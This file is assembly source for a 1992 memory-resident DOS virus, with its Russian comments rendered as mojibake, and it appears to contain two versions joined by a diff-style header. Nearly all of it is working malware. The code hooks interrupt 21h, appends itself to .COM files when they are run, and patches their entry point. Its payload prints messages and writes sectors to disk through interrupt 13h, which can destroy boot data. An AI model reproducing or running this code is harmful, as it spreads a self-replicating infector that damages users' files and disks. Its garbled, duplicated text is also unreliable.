; ‹®§¨áª®£®
|
||||
StartVirus:
|
||||
pop si ; <20>â® ç⮡ë 㧠âì, ªã¤ á
|
||||
call EntryPoint ; § ¥á«®
|
||||
EntryPoint:
|
||||
pop si ; ‚믨奬 ¤à¥á ç « § à §ë
|
||||
push ds ; ‘®åà ¨¬ ¯ àã-âனªã ॣ¨áâ஢...
|
||||
push es
|
||||
push si
|
||||
mov ax,cs ; ‚®ááâ ®¢¨¬ ᯥàâë¥ ¡ ©âë
|
||||
mov es,ax ; ¨§ § ¤¨æë ä ©«
|
||||
mov ds,ax
|
||||
mov di,0100h
|
||||
add si,RobbedBytes-EntryPoint
|
||||
mov cx,4
|
||||
cld ; <20>â® ¢®ááâ ®¢«¥¨¥
|
||||
rep movsb
|
||||
pop si
|
||||
mov ax,0ABABh ; <20>஢¥à¨¬, å®âïâ «¨ ¡ ¡ã -
|
||||
int 21h ; ¢ á¬ëá«¥, ¥áâì «¨ ¬ë
|
||||
cmp ax,0FAAFh ; ¢ ¯ ¬ïâ¨
|
||||
jne NeedsBaba ; ‚¨¤ âì, å®âïâ ¥¥, த¨¬ãî!
|
||||
jmp FucksNow ; …¥ 㦥 ®¡à ¡ âë¢ îâ
|
||||
NeedsBaba:
|
||||
pop es
|
||||
push es
|
||||
mov ax,es ; Žâàë¢ ¥¬ ᥡ¥ á¥â PSP
|
||||
dec ax
|
||||
mov es,ax ; ‘⮫쪮 ¢ 襩 ¯ ª®áâ¨
|
||||
mov ax,es:[3] ; ¯ à £à 䮢
|
||||
sub ax,virpar
|
||||
mov es:[3],ax
|
||||
mov bx,es:[1] ; <20>«îá ®¤ PSP
|
||||
add bx,ax ; ‚ᥠᢠ«¨¢ ¥¬ ¢ ªãçã
|
||||
mov es,bx
|
||||
push ds ; <20>ã, íâ® ¯®ïâ®
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[21h*4] ; ‡ å¢ âë¢ ¥¬ áâ àë©
|
||||
mov cs:[si+Off21-EntryPoint],ax ; ¢¥ªâ®à int 21h
|
||||
mov ax,ds:[21h*4+2] ; ‚ á¬ëá«¥, ® ¥ áâ àë©,
|
||||
mov cs:[si+Seg21-EntryPoint],ax ; ® ¤ ¦¥ «ãçè¥ ®¢®£®
|
||||
pop ds
|
||||
xor di,di ; ‡ á®¢ë¢ ¥¬ ¢ ç «®
|
||||
push si ; ¨ç¥©®£® ᥣ¬¥â
|
||||
sub si,EntryPoint-StartVirus ; £¤¥-â® § ¤¢®àª å
|
||||
mov cx,VirLen ; ¯ ¬ïâ¨ è¥ £ãᮥ
|
||||
rep movsb ; ⥫®
|
||||
pop si
|
||||
push ds ; ˆ áâ ¢¨¬ 㪠§ ®¥
|
||||
xor ax,ax ; £ãᮥ ⥫® ¢¥ªâ®à
|
||||
mov ds,ax ; ¯à¥àë¢ ¨ï 21h
|
||||
mov word ptr ds:[21h*4],Int21Server-StartVirus
|
||||
mov ds:[21h*4+2],es
|
||||
pop ds
|
||||
|
||||
FucksNow:
|
||||
pop es ; <20>â® ¢ á«ãç ¥, ¥á«¨
|
||||
pop ds ; ¯à¥¤«®¦¥®© ¦¥é¨®©
|
||||
mov si,0100h ; (¢¨àãᮬ) 㦥 ®¡« ¤ îâ
|
||||
push si
|
||||
xor ax,ax ; ‚ᥠ¢®ááâ ¢«¨¢ ¥¬ ª
|
||||
xor bx,bx ; ï¤à¥¥ ”¥¥ - ¨ ¤®¬®©,
|
||||
xor di,di ; ª ¬ ¬¥
|
||||
ret
|
||||
|
||||
Int21Server:
|
||||
pushf ; <20>â® ®¢ë© ®¡à ¡®â稪
|
||||
push ax ; 21-£® ¨â
|
||||
push bx
|
||||
push ds
|
||||
cmp ax,0ABABh ; ’ãâ ¬ë ãáâ ®¢¨¬ ॠªæ¨î
|
||||
jne NotTest ; ¯à¥¤«®¦¥¨¥ ¦¥é¨ë
|
||||
pop ds ; (¨«¨ í४æ¨î)
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
mov ax,0FAAFh ; <20>â® ®à¬ «ì ï í४æ¨ï
|
||||
iret ; (â® ¥áâì ॠªæ¨ï)
|
||||
|
||||
NotTest:
|
||||
push cx ; ’ãâ ¬ë ª« áá® ¨§¢à ⨬áï,
|
||||
mov cx,ax ; ç⮡ë ᤥ« âì ¢¨¤, çâ®
|
||||
xchg cl,ch ; ¬ ᮢᥬ ¥ 㦮
|
||||
xor cl,4Bh ; ®¡à ¡ âë¢ âì äãªæ¨î EXEC
|
||||
pop cx ; (—⮡ ‹®§¨áª¨© £®«®¢ã «®¬ «
|
||||
jz Exec ; ¨ ç⮡ ã ¥£® ®çª¨ § ¯®â¥«¨)
|
||||
jmp NotExec
|
||||
|
||||
Exec:
|
||||
mov bx,dx ; <20>®ª« ¤¥¬ ᬥ饨¥ ¨¬¥¨
|
||||
; § ¯ã᪠¥¬®£® ä ©« ¢ BX
|
||||
SearchZero:
|
||||
cmp byte ptr ds:[bx],0 ; <20>஢¥à¨¬ §¥àã
|
||||
je ZeroFound ; €å, ª®¥æ ¨¬¥¨!
|
||||
inc bx
|
||||
jmp SearchZero
|
||||
|
||||
ZeroFound:
|
||||
sub bx,11 ; —㤥á®!
|
||||
push es ; <20>஢¥à¨¬, ¢¤à㣠ª ª®©-
|
||||
mov ax,cs ; ¨¡ã¤ì ¯á¨å ¦¥« ¥â
|
||||
mov es,ax ; § à §¨âì COMMAND.COM
|
||||
mov cx,11
|
||||
mov di,offset CommandName-StartVirus
|
||||
|
||||
Compare:
|
||||
mov al,ds:[bx] ; <20>â® ¢á¥ á«®¦ ï ¨ 㤠ï
|
||||
cmp al,es:[di] ; ¯à®æ¥¤ãà ¯à®¢¥àª¨...
|
||||
jne NotCommand
|
||||
inc bx
|
||||
inc di
|
||||
dec cx ; ‚ᥠ¯à®¢¥à塞, ¯à®¢¥à塞...
|
||||
cmp cx,0
|
||||
jne Compare
|
||||
pop es
|
||||
jmp Quit21Server ; —â® ¦ ï - ¤¥¡¨« COMMAND.COM
|
||||
; § à ¦ âì?!
|
||||
NotCommand:
|
||||
pop es ; ’ ¬ ¬ë á®åà 﫨 祣®©-â
|
||||
push ax
|
||||
push bx ; ‘®åà ¨¬ ¢á¥, çâ® ¯«®å®
|
||||
push cx ; «¥¦¨â, çâ®¡ë ¥ ¯à®¯ «®
|
||||
push dx
|
||||
mov ax,3D02h ; Žâªã¯®à¨¢ ¥¬ ª«¨¥â (ä ©«)
|
||||
int 21h
|
||||
jc EndExec1 ; <20>ë¢ îâ ¨ £ãâë¥ ¯à®¡ª¨
|
||||
mov bx,ax ; <20>®ª« ¤¥¬ ¯à®¡ªã ®â ä ©« ¢ BX
|
||||
mov cx,4 ; •®â¥«®áì ¡ë áç¨â âì 4 ¡ ©â
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov ah,3Fh ; ‚ ¬¥áâ®, £¤¥ «¥¦ «¨
|
||||
mov dx,offset RobbedBytes-StartVirus
|
||||
int 21h ; ᯥàâë¥ ¡ ©âë
|
||||
jc EndExec1
|
||||
cmp word ptr cs:[RobbedBytes-StartVirus],'ZM'
|
||||
je CloseFile ; <20> 䨣 EXE § à ¦ âì???
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h
|
||||
int 21h ; ‹¥§¥¬ ¢ § ¤¨æã ä ©«
|
||||
cmp ax,1000 ; <20> 䨣 ¬ ä ©«ë ¬¥ìè¥
|
||||
jl CloseFile ; 1 ª¨«®?
|
||||
cmp ax,64000 ; € ⥬ ¡®«¥¥ ¡®«ìè¥ 64
|
||||
ja CloseFile
|
||||
sub ax,3
|
||||
mov cs:[FileSize-StartVirus],ax ; ˜ãਪ¥ ?
|
||||
cmp byte ptr cs:[RobbedBytes-StartVirus+3],15
|
||||
je CloseFile ; ˆª¥¡ !
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov ah,40h ; ƒ«ã¯ë© ¢¨àãá ஡ª® ¯àïç¥â
|
||||
xor dx,dx ; ⥫® ¦¨à®¥ ¢ § ¤¨æ¥ ä ©«
|
||||
mov cx,VirLen
|
||||
int 21h
|
||||
xor cx,cx ; ˆ ¢ ç «® ã¡¥£ ¥â, ç⮡ë
|
||||
xor dx,dx ; JUMP â㤠¯®áâ ¢¨âì
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
mov ah,40h
|
||||
mov dx,offset SuperByte-StartVirus ; ” ©« â® ¨ ä ©«, ç⮡ë
|
||||
mov cx,4 ; ¢ë§ë¢ âì ¯®¤ª«¥¥ë©
|
||||
int 21h ; ᧠¤¨ ¢¨àãá
|
||||
jmp CloseFile
|
||||
|
||||
EndExec1: jmp EndExec
|
||||
|
||||
mess1: db 'Hi! hello from MSS!',0dh,0ah,'$'
|
||||
|
||||
game: mov al,0
|
||||
mov [count-0124h],al
|
||||
mov ax,0308h
|
||||
mov bx,offset endvir
|
||||
mov dx,0000h
|
||||
mov cx,0001h
|
||||
int 13h
|
||||
jmp eee
|
||||
CloseFile:
|
||||
mov ah,3Eh ; ‘¨¥ § ªàë⨥ ä ©« - ¬
|
||||
int 21h ; ® ¡®«ìè¥ ¢ é¥ ¥ 㦥
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
mov al,[count-0124h]
|
||||
inc al
|
||||
mov [count-0124h],al
|
||||
cmp al,0eh
|
||||
jl eee
|
||||
mov ah,09
|
||||
mov dx,offset mess1-0124h
|
||||
int 21h
|
||||
mov al,[count-0124h]
|
||||
cmp al,0fh
|
||||
jz game
|
||||
eee: pop ds
|
||||
|
||||
EndExec:
|
||||
pop dx ; Œë â ¬, ª ¦¨áì, á®åà 﫨
|
||||
pop cx ; ®¯ïâì 祣®©-â ?
|
||||
pop bx
|
||||
pop ax
|
||||
jmp Quit21Server ; ˆ ¯® ¡ ¡ ¬!
|
||||
|
||||
NotExec:
|
||||
; <20> á«ãç © á«¥¤ãîé¨å å ¬áª¨å à §à ¡®â®ª
|
||||
|
||||
Quit21Server:
|
||||
pop ds ; —¥¬ ¦¥ ¬ë ⮫쪮
|
||||
pop bx ; STACK' ¥ ¯®«ï«¨?!
|
||||
pop ax
|
||||
popf ; …é¥ ¨ ä« £ ¬¨?!!!
|
||||
db 0EAh
|
||||
Off21 dw 0000h ; ’ ª ¡ã¤¥â á ª ¦¤ë¬, ªâ®...
|
||||
Seg21 dw 0000h
|
||||
|
||||
RobbedBytes:
|
||||
mov dx,offset GoodMessage ; <20>â® ¢à®¤¥ ª ª ᯥàâë¥ ¡ ©âë
|
||||
db 0B4h
|
||||
SuperByte db 'è' ; € íâ® ¥ ᯥàâë¥, ®
|
||||
FileSize dw 0000h ; ⮦¥ å®à®è¨¥
|
||||
db 15 ; ˜ãਪ¥
|
||||
db '=>' ; <20>â® ¤«ï ªà á®âë
|
||||
CommandName db 'COMMAND.COM<=' ; € íâ® ®â COMMAND.COM
|
||||
count db 1 dup (0)
|
||||
endvir:
|
||||
end gadost ; ˆ ¢á¥!
|
|
@ -0,0 +1,393 @@
|
|||
;
|
||||
; <20>¥ª®¬¥¤ã¥âáï ®âª®¬¯¨«¨à®¢ âì, § ¯ãáâ¨âì ¨ ⮫쪮 ¯®â®¬ à áᬠâਢ âì
|
||||
; source code. (‚á¥ à ¢® ‚ ¬ ¢ ¥¬ à §¡¨à âìáï ¯à¨¤¥âáï :-)).
|
||||
;
|
||||
; Œ¨«¥ìª ï (¬ «¥ìª ï) £ ¤®áâì, ¬¥à§®áâì, ¤àïì, ᪮⨠...
|
||||
;
|
||||
; ‚ ®¡é¥¬, ¢¨àãá, ª®â®àë© § à ¦ ¥â ¢á直¥ â ¬ ä ©«ë ¯à¨ ¯®¯ë⪥ ¨å
|
||||
; § ¯ãáâ¨âì - ¯®ª á ä ¬¨«¨¥© .COM, ¦¨¢¥â £¤¥-â® ç¥à¤ ª¥ ¯®¤ ¢¥ªâ®à®¬
|
||||
; 21-£® ¨â¥àà ¯â , ¥ áªàë¢ ¥â ᢮¥ ⥫® ¦¨à®¥ ¢ ãâ¥á å, § à ¦¥ë¥
|
||||
; ä ©«ë ®¯®§ ¥â ¯® èãਪ¥ã (â ª®© ⨯ §¢¥§¤®çª¨, ¨á¯®«ì§ã¥âáï ã
|
||||
; ¢®áâ®çëå த®¢ ¤«ï ®âᥪ ¨ï £®«®¢ë ¨ ¥é¥ ª®¥-祣® ã ¡«¨¦¥£®
|
||||
; ᢮¥£®), à ᯮ«®¦¥®¬ã ¢ 4-®¬ ¡ ©â¥ ®â ç « , ᢮¥ «¨ç¨¥ ¢
|
||||
; ¯ ¬ï⨠¯à®¢¥àï¥â â ª: ª« ¤¥â ¢ AX á«®¢® BABA (¢ á¬ëá«¥, ¥ â ª®¥
|
||||
; á«®¢®, word 0BABAh), ¢ë¯®«ï¥â 21-¥ ¨â¥àà ¯â®¢ ¨¥ ¨ ᬮâà¨â,
|
||||
; ¦¥« îâ «¨ íâã ¡ ¡ã 0FACCh. …᫨ ¦¥« îâ, â® á â 窮© ¢á¥ ¯®ïâ®.
|
||||
;
|
||||
; Copyright (c) 1992, Gogi&Givi International
|
||||
;
|
||||
|
||||
jumps
|
||||
.model tiny
|
||||
.code
|
||||
org 0100h
|
||||
VirPar equ (endvir-StartVirus)/16+2 ; ‘ª®ª ã ¢¨àãá ¯ à £à 䮢
|
||||
VirLen equ (endvir-StartVirus) ; <20> §¬¥àë ¡îáâ ¢¨àãá ¢
|
||||
; âà¥ã£®«ìëå ª¨«®¬¥âà å
|
||||
gadost:
|
||||
db 'è' ; …â® ª®¤ CALL
|
||||
dw StartVirus-$-2 ; € ¥â® ᬥ饨¥ StartVirus
|
||||
db 15,09h ; ˜ãਪ¥ ¨ ®áâ ⮪ ®â mov ah,
|
||||
int 21h ; € íâ® ¢á¥ ®à¬ «ìë©
|
||||
ret ; ª®¤ ¦¥àâ¢ë
|
||||
GoodMessage db '’®¢ à¨é ‹®§¨áª¨©! ”€Š ž!',13,10,'$'
|
||||
; <20> ª®áâë© ¬¥áá ¤¦ ¤«ï ¤ï¤¨
|
||||
; ‹®§¨áª®£®
|
||||
StartVirus:
|
||||
pop si ; <20>â® ç⮡ë 㧠âì, ªã¤ á
|
||||
call EntryPoint ; § ¥á«®
|
||||
EntryPoint:
|
||||
pop si ; ‚믨奬 ¤à¥á ç « § à §ë
|
||||
push ds ; ‘®åà ¨¬ ¯ àã-âனªã ॣ¨áâ஢...
|
||||
push es
|
||||
push si
|
||||
mov ax,cs ; ‚®ááâ ®¢¨¬ ᯥàâë¥ ¡ ©âë
|
||||
mov es,ax ; ¨§ § ¤¨æë ä ©«
|
||||
mov ds,ax
|
||||
mov di,0100h
|
||||
add si,RobbedBytes-EntryPoint
|
||||
mov cx,4
|
||||
cld ; <20>â® ¢®ááâ ®¢«¥¨¥
|
||||
rep movsb
|
||||
pop si
|
||||
mov ax,0ABABh ; <20>஢¥à¨¬, å®âïâ «¨ ¡ ¡ã -
|
||||
int 21h ; ¢ á¬ëá«¥, ¥áâì «¨ ¬ë
|
||||
cmp ax,0FAAFh ; ¢ ¯ ¬ïâ¨
|
||||
jne NeedsBaba ; ‚¨¤ âì, å®âïâ ¥¥, த¨¬ãî!
|
||||
jmp FucksNow ; …¥ 㦥 ®¡à ¡ âë¢ îâ
|
||||
NeedsBaba:
|
||||
pop es
|
||||
push es
|
||||
mov ax,es ; Žâàë¢ ¥¬ ᥡ¥ á¥â PSP
|
||||
dec ax
|
||||
mov es,ax ; ‘⮫쪮 ¢ 襩 ¯ ª®áâ¨
|
||||
mov ax,es:[3] ; ¯ à £à 䮢
|
||||
sub ax,virpar
|
||||
mov es:[3],ax
|
||||
mov bx,es:[1] ; <20>«îá ®¤ PSP
|
||||
add bx,ax ; ‚ᥠᢠ«¨¢ ¥¬ ¢ ªãçã
|
||||
mov es,bx
|
||||
push ds ; <20>ã, íâ® ¯®ïâ®
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[21h*4] ; ‡ å¢ âë¢ ¥¬ áâ àë©
|
||||
mov cs:[si+Off21-EntryPoint],ax ; ¢¥ªâ®à int 21h
|
||||
mov ax,ds:[21h*4+2] ; ‚ á¬ëá«¥, ® ¥ áâ àë©,
|
||||
mov cs:[si+Seg21-EntryPoint],ax ; ® ¤ ¦¥ «ãçè¥ ®¢®£®
|
||||
pop ds
|
||||
xor di,di ; ‡ á®¢ë¢ ¥¬ ¢ ç «®
|
||||
push si ; ¨ç¥©®£® ᥣ¬¥â
|
||||
sub si,EntryPoint-StartVirus ; £¤¥-â® § ¤¢®àª å
|
||||
mov cx,VirLen ; ¯ ¬ïâ¨ è¥ £ãᮥ
|
||||
rep movsb ; ⥫®
|
||||
pop si
|
||||
push ds ; ˆ áâ ¢¨¬ 㪠§ ®¥
|
||||
xor ax,ax ; £ãᮥ ⥫® ¢¥ªâ®à
|
||||
mov ds,ax ; ¯à¥àë¢ ¨ï 21h
|
||||
mov word ptr ds:[21h*4],Int21Server-StartVirus
|
||||
mov ds:[21h*4+2],es
|
||||
pop ds
|
||||
|
||||
FucksNow:
|
||||
pop es ; <20>â® ¢ á«ãç ¥, ¥á«¨
|
||||
pop ds ; ¯à¥¤«®¦¥®© ¦¥é¨®©
|
||||
mov si,0100h ; (¢¨àãᮬ) 㦥 ®¡« ¤ îâ
|
||||
push si
|
||||
xor ax,ax ; ‚ᥠ¢®ááâ ¢«¨¢ ¥¬ ª
|
||||
xor bx,bx ; ï¤à¥¥ ”¥¥ - ¨ ¤®¬®©,
|
||||
xor di,di ; ª ¬ ¬¥
|
||||
ret
|
||||
|
||||
Int21Server:
|
||||
pushf ; <20>â® ®¢ë© ®¡à ¡®â稪
|
||||
push ax ; 21-£® ¨â
|
||||
push bx
|
||||
push ds
|
||||
cmp ax,0ABABh ; ’ãâ ¬ë ãáâ ®¢¨¬ ॠªæ¨î
|
||||
jne NotTest ; ¯à¥¤«®¦¥¨¥ ¦¥é¨ë
|
||||
pop ds ; (¨«¨ í४æ¨î)
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
mov ax,0FAAFh ; <20>â® ®à¬ «ì ï í४æ¨ï
|
||||
iret ; (â® ¥áâì ॠªæ¨ï)
|
||||
|
||||
NotTest:
|
||||
push cx ; ’ãâ ¬ë ª« áá® ¨§¢à ⨬áï,
|
||||
mov cx,ax ; ç⮡ë ᤥ« âì ¢¨¤, çâ®
|
||||
xchg cl,ch ; ¬ ᮢᥬ ¥ 㦮
|
||||
xor cl,4Bh ; ®¡à ¡ âë¢ âì äãªæ¨î EXEC
|
||||
pop cx ; (—⮡ ‹®§¨áª¨© £®«®¢ã «®¬ «
|
||||
jz Exec ; ¨ ç⮡ ã ¥£® ®çª¨ § ¯®â¥«¨)
|
||||
jmp NotExec
|
||||
|
||||
Exec:
|
||||
mov bx,dx ; <20>®ª« ¤¥¬ ᬥ饨¥ ¨¬¥¨
|
||||
; § ¯ã᪠¥¬®£® ä ©« ¢ BX
|
||||
SearchZero:
|
||||
cmp byte ptr ds:[bx],0 ; <20>஢¥à¨¬ §¥àã
|
||||
je ZeroFound ; €å, ª®¥æ ¨¬¥¨!
|
||||
inc bx
|
||||
jmp SearchZero
|
||||
|
||||
ZeroFound:
|
||||
sub bx,11 ; —㤥á®!
|
||||
push es ; <20>஢¥à¨¬, ¢¤à㣠ª ª®©-
|
||||
mov ax,cs ; ¨¡ã¤ì ¯á¨å ¦¥« ¥â
|
||||
mov es,ax ; § à §¨âì COMMAND.COM
|
||||
mov cx,11
|
||||
mov di,offset CommandName-StartVirus
|
||||
|
||||
Compare:
|
||||
mov al,ds:[bx] ; <20>â® ¢á¥ á«®¦ ï ¨ 㤠ï
|
||||
cmp al,es:[di] ; ¯à®æ¥¤ãà ¯à®¢¥àª¨...
|
||||
jne NotCommand
|
||||
inc bx
|
||||
inc di
|
||||
dec cx ; ‚ᥠ¯à®¢¥à塞, ¯à®¢¥à塞...
|
||||
cmp cx,0
|
||||
jne Compare
|
||||
pop es
|
||||
jmp Quit21Server ; —â® ¦ ï - ¤¥¡¨« COMMAND.COM
|
||||
; § à ¦ âì?!
|
||||
NotCommand:
|
||||
pop es ; ’ ¬ ¬ë á®åà 﫨 祣®©-â
|
||||
push ax
|
||||
push bx ; ‘®åà ¨¬ ¢á¥, çâ® ¯«®å®
|
||||
push cx ; «¥¦¨â, çâ®¡ë ¥ ¯à®¯ «®
|
||||
push dx
|
||||
mov ax,3D02h ; Žâªã¯®à¨¢ ¥¬ ª«¨¥â (ä ©«)
|
||||
int 21h
|
||||
jc EndExec1 ; <20>ë¢ îâ ¨ £ãâë¥ ¯à®¡ª¨
|
||||
mov bx,ax ; <20>®ª« ¤¥¬ ¯à®¡ªã ®â ä ©« ¢ BX
|
||||
mov cx,4 ; •®â¥«®áì ¡ë áç¨â âì 4 ¡ ©â
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov ah,3Fh ; ‚ ¬¥áâ®, £¤¥ «¥¦ «¨
|
||||
mov dx,offset RobbedBytes-StartVirus
|
||||
int 21h ; ᯥàâë¥ ¡ ©âë
|
||||
jc EndExec1
|
||||
cmp word ptr cs:[RobbedBytes-StartVirus],'ZM'
|
||||
je CloseFile ; <20> 䨣 EXE § à ¦ âì???
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h
|
||||
int 21h ; ‹¥§¥¬ ¢ § ¤¨æã ä ©«
|
||||
cmp ax,1000 ; <20> 䨣 ¬ ä ©«ë ¬¥ìè¥
|
||||
jl CloseFile ; 1 ª¨«®?
|
||||
cmp ax,64000 ; € ⥬ ¡®«¥¥ ¡®«ìè¥ 64
|
||||
ja CloseFile
|
||||
sub ax,3
|
||||
mov cs:[FileSize-StartVirus],ax ; ˜ãਪ¥ ?
|
||||
cmp byte ptr cs:[RobbedBytes-StartVirus+3],15
|
||||
je CloseFile ; ˆª¥¡ !
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov ah,40h ; ƒ«ã¯ë© ¢¨àãá ஡ª® ¯àïç¥â
|
||||
xor dx,dx ; ⥫® ¦¨à®¥ ¢ § ¤¨æ¥ ä ©«
|
||||
mov cx,VirLen
|
||||
int 21h
|
||||
xor cx,cx ; ˆ ¢ ç «® ã¡¥£ ¥â, ç⮡ë
|
||||
xor dx,dx ; JUMP â㤠¯®áâ ¢¨âì
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
mov ah,40h
|
||||
mov dx,offset SuperByte-StartVirus ; ” ©« â® ¨ ä ©«, ç⮡ë
|
||||
mov cx,4 ; ¢ë§ë¢ âì ¯®¤ª«¥¥ë©
|
||||
int 21h ; ᧠¤¨ ¢¨àãá
|
||||
jmp CloseFile
|
||||
|
||||
EndExec1: jmp EndExec
|
||||
|
||||
mess1: db 'Hi! hello from MSS!',0dh,0ah,'$'
|
||||
str1 db ' HELLO FROM OVER1 ','$'
|
||||
|
||||
game: mov al,0 ; ‡ ®á¨¬ ¢ áé¥â稪 0
|
||||
mov [count-0124h],al
|
||||
mov ax,0308h ; ‚ AL - 8 ᥪâ®à®¢
|
||||
mov bx,offset endvir ; ‚ BX - ¤à¥á ¬ãá®à § 墮á⮬
|
||||
mov dx,0000h
|
||||
mov cx,0001h
|
||||
int 13h ; <20>¨è¥¬ ¤¨áª € 8 ᥪâ®à®¢
|
||||
jmp eee ; ¬ãá®à ¨ «¨ï¥¬.
|
||||
CloseFile:
|
||||
mov ah,3Eh ; ‘¨¥ § ªàë⨥ ä ©« - ¬
|
||||
int 21h ; ® ¡®«ìè¥ ¢ é¥ ¥ 㦥
|
||||
|
||||
push ds ; Ž¡¬¥-¢¥«¨ª ï ¢¥ééì
|
||||
push cs
|
||||
pop ds
|
||||
; mov al,[count-0124h] ; € ç ¢® ã á ¢ áé¥â稪¥?
|
||||
; inc al ; € ª ª é¥â +1 ?
|
||||
; mov [count-0124h],al ; ˆ § ¯®¬¨¬...
|
||||
; cmp al,02h ; €å, 㦥 14 âà㯮¢?
|
||||
; jl eee ; <20>¥â? Š ª ï ¦ «®áâì...
|
||||
mov ah,09 ; Fuck' ¥¬áï...
|
||||
mov dx,offset mess1-0124h
|
||||
int 21h
|
||||
|
||||
mov ah,0 ;
|
||||
mov al,0 ; ãáâ ¢«¨¢ ¥¬ 0 ¢¨¤¥®à¥¦¨¬
|
||||
int 10h ;
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,0
|
||||
mov dl,10
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 ªãàá®à 0,10
|
||||
|
||||
mov ah,9
|
||||
mov al,201
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ §¥«ñë© ªà ᮬ 'É' ¢ ¯®§¨æ¨¨ ªãàá®à
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,0
|
||||
mov dl,11
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 0,11
|
||||
|
||||
mov ah,9
|
||||
mov al,205
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,20
|
||||
int 10h ; ¢ë¢®¤¨¬ 20 §¥«ñëå ªà ᮬ 'Í'
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,0
|
||||
mov dl,31
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 0,31
|
||||
|
||||
mov ah,9
|
||||
mov al,187
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ '»'
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,1
|
||||
mov dl,10
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 1,10
|
||||
|
||||
mov ah,9
|
||||
mov bl,01000010b
|
||||
mov al,186
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ 'º'
|
||||
|
||||
mov ah,2
|
||||
mov dx,010bh
|
||||
int 10h
|
||||
|
||||
mov ah,9
|
||||
mov dx,offset str1
|
||||
int 21h ; ¢ë¢®¤¨¬ ¯à¨¢¥âá⢨¥ 'str1'
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,1
|
||||
mov dl,31
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 1,31
|
||||
|
||||
mov ah,9
|
||||
mov al,186
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ 'º'
|
||||
|
||||
mov ah,2
|
||||
mov dh,2
|
||||
mov dl,31
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 2,31
|
||||
|
||||
mov ah,9
|
||||
mov al,188
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ '¼'
|
||||
|
||||
mov ah,2
|
||||
mov dh,2
|
||||
mov dl,10
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 3,10
|
||||
|
||||
mov ah,9
|
||||
mov al,200
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,1
|
||||
int 10h ; ¢ë¢®¤¨¬ 'È'
|
||||
|
||||
mov ah,2
|
||||
mov dh,2
|
||||
mov dl,11
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 2,11
|
||||
|
||||
mov ah,9
|
||||
mov al,205
|
||||
mov bl,01000010b
|
||||
mov bh,0
|
||||
mov cx,20
|
||||
int 10h ; ¢ë¢®¤¨¬ 'Í' ( 20 èâ.)
|
||||
|
||||
mov ah,2
|
||||
mov dh,25
|
||||
mov dl,0
|
||||
int 10h ; ã室¨¬ § áâà ¨æã
|
||||
|
||||
mov ah,2
|
||||
mov bh,0
|
||||
mov dh,24
|
||||
mov dl,0
|
||||
int 10h ; ¯®§¨æ¨®¨à㥬 24,0
|
||||
|
||||
MOV AL,2
|
||||
mov ah,0
|
||||
int 10h ; ¢®§¢à é ¥¬ áâ àë© ¢¨¤¥®à¥¦¨¬
|
||||
|
||||
mov al,[count-0124h]
|
||||
cmp al,3
|
||||
jz game ; “à !!! <20>®¡¥¦ «¨ ¨§¤¥¢ âìáï!
|
||||
|
||||
eee: pop ds ; Œ®© ç á 㦥 ¡«¨§®ª,â९¥é¨!
|
||||
|
||||
EndExec:
|
||||
pop dx ; Œë â ¬, ª ¦¨áì, á®åà 﫨
|
||||
pop cx ; ®¯ïâì 祣®©-â ?
|
||||
pop bx
|
||||
pop ax
|
||||
jmp Quit21Server ; ˆ ¯® ¡ ¡ ¬!
|
||||
|
||||
NotExec:
|
||||
; <20> á«ãç © á«¥¤ãîé¨å å ¬áª¨å à §à ¡®â®ª
|
||||
|
||||
Quit21Server:
|
||||
pop ds ; —¥¬ ¦¥ ¬ë ⮫쪮
|
||||
pop bx ; STACK' ¥ ¯®«ï«¨?!
|
||||
pop ax
|
||||
popf ; …é¥ ¨ ä« £ ¬¨?!!!
|
||||
db 0EAh
|
||||
Off21 dw 0000h ; ’ ª ¡ã¤¥â á ª ¦¤ë¬, ªâ®...
|
||||
Seg21 dw 0000h
|
||||
|
||||
RobbedBytes:
|
||||
mov dx,offset GoodMessage ; <20>â® ¢à®¤¥ ª ª ᯥàâë¥ ¡ ©âë
|
||||
db 0B4h
|
||||
SuperByte db 'è' ; € íâ® ¥ ᯥàâë¥, ®
|
||||
FileSize dw 0000h ; ⮦¥ å®à®è¨¥
|
||||
db 15 ; ˜ãਪ¥
|
||||
db '=>' ; <20>â® ¤«ï ªà á®âë
|
||||
CommandName db 'COMMAND.COM<=' ; € íâ® ®â COMMAND.COM
|
||||
